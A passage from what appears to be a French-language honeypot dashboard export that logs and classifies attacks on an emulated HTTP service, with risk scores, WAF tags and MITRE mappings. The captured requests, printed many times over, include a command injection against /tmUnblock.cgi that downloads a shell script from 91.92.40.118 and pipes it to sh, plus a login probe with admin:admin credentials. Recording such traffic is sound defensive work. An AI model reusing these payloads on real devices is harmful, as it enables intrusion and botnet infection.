"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1",
"anomaly:high-entropy-query",
"http_no_ua",
"net_web_probe"
]
}
11/07/2026 23:49:03 UTC
TCP
8081 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8081 · (tentative d'exploit) · → /wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wg…
Élevée
Moyen · 60
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
GET /wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20l…
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950309:lfi-12
950325:rce-0
950333:rce-2
950345:rce-5
Cible HTTP
GET
/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lublk%60
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lublk%…
Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 59%
Confiance classification
59%
Risque capteur
Moyen
· 60
Confiance : Confiance 59 % — 7 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100-sub
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
LFI Double-dot bypass
Ligne de requête
GET /tmUnblock.cgi?ttcp_ip=-h%20%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lublk%60 HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
redir-1
Payload (extrait)
GET /tmUnblock.cgi?ttcp_ip=-h%20%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20htt
Requête brute (extrait)
GET /tmUnblock.cgi?ttcp_ip=-h%20%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lublk%60 HTTP/1.1 Host: 62.3.
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "64082a1af3fcfb231944e267d5493de0b8e0037c",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 289,
"payload_entropy": 5.114664628936492,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 30,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30
},
"risk_score": 60,
"tag_count": 10,
"anomaly_count": 1,
"campaign_key": "86edc1121ce6e69577a4766b6494c1ef34c5a689",
"event_fingerprint": "1ce67ae6beab4eb64ade012f0c02d6d431b746c8",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"confidence": 0.59,
"classification_confidence": 0.59,
"precision_score": 70,
"precision_signals": [
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0103"
],
"matched_pattern_names": [
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 60
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 59,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "497f550dffb549cc468c7b52e196f3c6",
"path_pattern_hash": "40d64e5af66418a51c5ae33f5e8eb67d"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 60
},
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lublk%60",
"query_string": "ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lublk%60",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/tmUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lublk%60 HTTP\/1.1",
"payload_snippet": "GET \/tmUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20htt",
"evidence": {
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lublk%60",
"query_string": "ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lublk%60",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/tmUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lublk%60 HTTP\/1.1",
"request_sample": "GET \/tmUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lublk%60 HTTP\/1.1\r\nHost: 62.3.",
"payload_snippet": "GET \/tmUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20htt",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "1ff3ec29e1cf33a283010724c8709d45ceb7c9da",
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lublk%\u2026",
"request_line": "GET \/tmUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http:\/\/91.92.\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/tmUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20htt",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wg\u2026",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 59 % \u2014 7 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 60\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 59 % \u2014 via HTTP",
"confidence_pct": 59,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 60
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 60,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lublk%\u2026",
"request_line": "GET \/tmUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bcurl%20http:\/\/91.92.\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wg\u2026",
"evidence_snippet": "GET \/tmUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lublk%3Bbusybox%20wget%20htt",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 59 % \u2014 7 tag(s) WAF",
"confidence_factors_fr": "Confiance 59 % \u2014 Score WAF 100 \u00b7 7 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1",
"anomaly:high-entropy-query",
"http_no_ua",
"net_web_probe"
]
}
11/07/2026 23:49:03 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /tmUnblock.cgi
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /tmUnblock.cgi
Émulateur
HTTP
WAF
41
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/tmUnblock.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/tmUnblock.cgi
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
Http Cmdi
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /tmUnblock.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /tmUnblock.cgi HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 242
Conne
Requête brute (extrait)
POST /tmUnblock.cgi HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 242 Connection: close ttcp_num=3&ttcp_size=3&ttcp_ip=-h+%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lunblkv%3B
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "6cff281bfb0055f2e5c6afc1d923500419949544",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 386,
"payload_entropy": 5.3151423501998325,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 11,
"anomaly_count": 0,
"campaign_key": "1b72e0cad9dc4a2599a7718a58f3889624ca7773",
"event_fingerprint": "06fbfbf2356862692413fb487e5b816ccb56c176",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 142,
"precision_signals": [
"INT-http_cmdi",
"pat-0146"
],
"kb_rule_ids": [
"INT-http_cmdi",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "942dffe22b1e260cae4e970e1af13a8a",
"path_pattern_hash": "40d64e5af66418a51c5ae33f5e8eb67d"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/tmUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 242\r\nConne",
"method": "POST",
"path": "\/tmUnblock.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/tmUnblock.cgi HTTP\/1.1",
"request_sample": "POST \/tmUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 242\r\nConnection: close\r\n\r\nttcp_num=3&ttcp_size=3&ttcp_ip=-h+%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lunblkv%3B",
"payload_snippet": "POST \/tmUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 242\r\nConne",
"evidence": {
"method": "POST",
"path": "\/tmUnblock.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/tmUnblock.cgi HTTP\/1.1",
"request_sample": "POST \/tmUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 242\r\nConnection: close\r\n\r\nttcp_num=3&ttcp_size=3&ttcp_ip=-h+%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lunblkv%3B",
"payload_snippet": "POST \/tmUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 242\r\nConne",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "c2c685cdea07bc08a0c101501865995aa12cc9d0",
"protocol_details": {
"http_method": "POST",
"http_path": "\/tmUnblock.cgi",
"request_line": "POST \/tmUnblock.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/tmUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 242\r\nConne",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/tmUnblock.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_cmdi",
"pat-0146"
],
"tags_summary_labels_fr": [
"Http Cmdi",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/tmUnblock.cgi",
"request_line": "POST \/tmUnblock.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/tmUnblock.cgi",
"evidence_snippet": "POST \/tmUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 242\r\nConne",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:03 UTC
TCP
8081 · HTTP
Sonde HTTP
Sonde HTTP · via HTTP:8081 · (sonde / probe)
Élevée
Moyen · 40
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /
Émulateur
HTTP
WAF
3
Recommandation
Surveiller
Tags
950734:sap-sapcontrol-path
http_auth_header_token
http_basic_auth
http_no_ua
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/
Pourquoi cette classification : Sonde HTTP (tag sap-sapcontrol-path) · confiance 80%
Confiance classification
80%
Risque capteur
Moyen
· 40
Confiance : Confiance 80 % — Score WAF 20 · 1 tag(s) WAF
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET / HTTP/1.1
User-Agent
—
Règles WAF
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8081
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 99,
"payload_entropy": 5.018012746618279,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 20,
"risk_classification": 38,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.1,
"risk_breakdown": {
"waf": 20,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 40,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "d2680103be2dcdd2f3d5a8939d6e6f644380c59b",
"event_fingerprint": "6200042a8eedd96c47b109adc0963a36d177f604",
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "2302682c110a52c654ac710424b04c41",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"service_name": "http",
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 40
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\n\r\n",
"method": "GET",
"path": "\/",
"waf_tags": [
"950734:sap-sapcontrol-path"
],
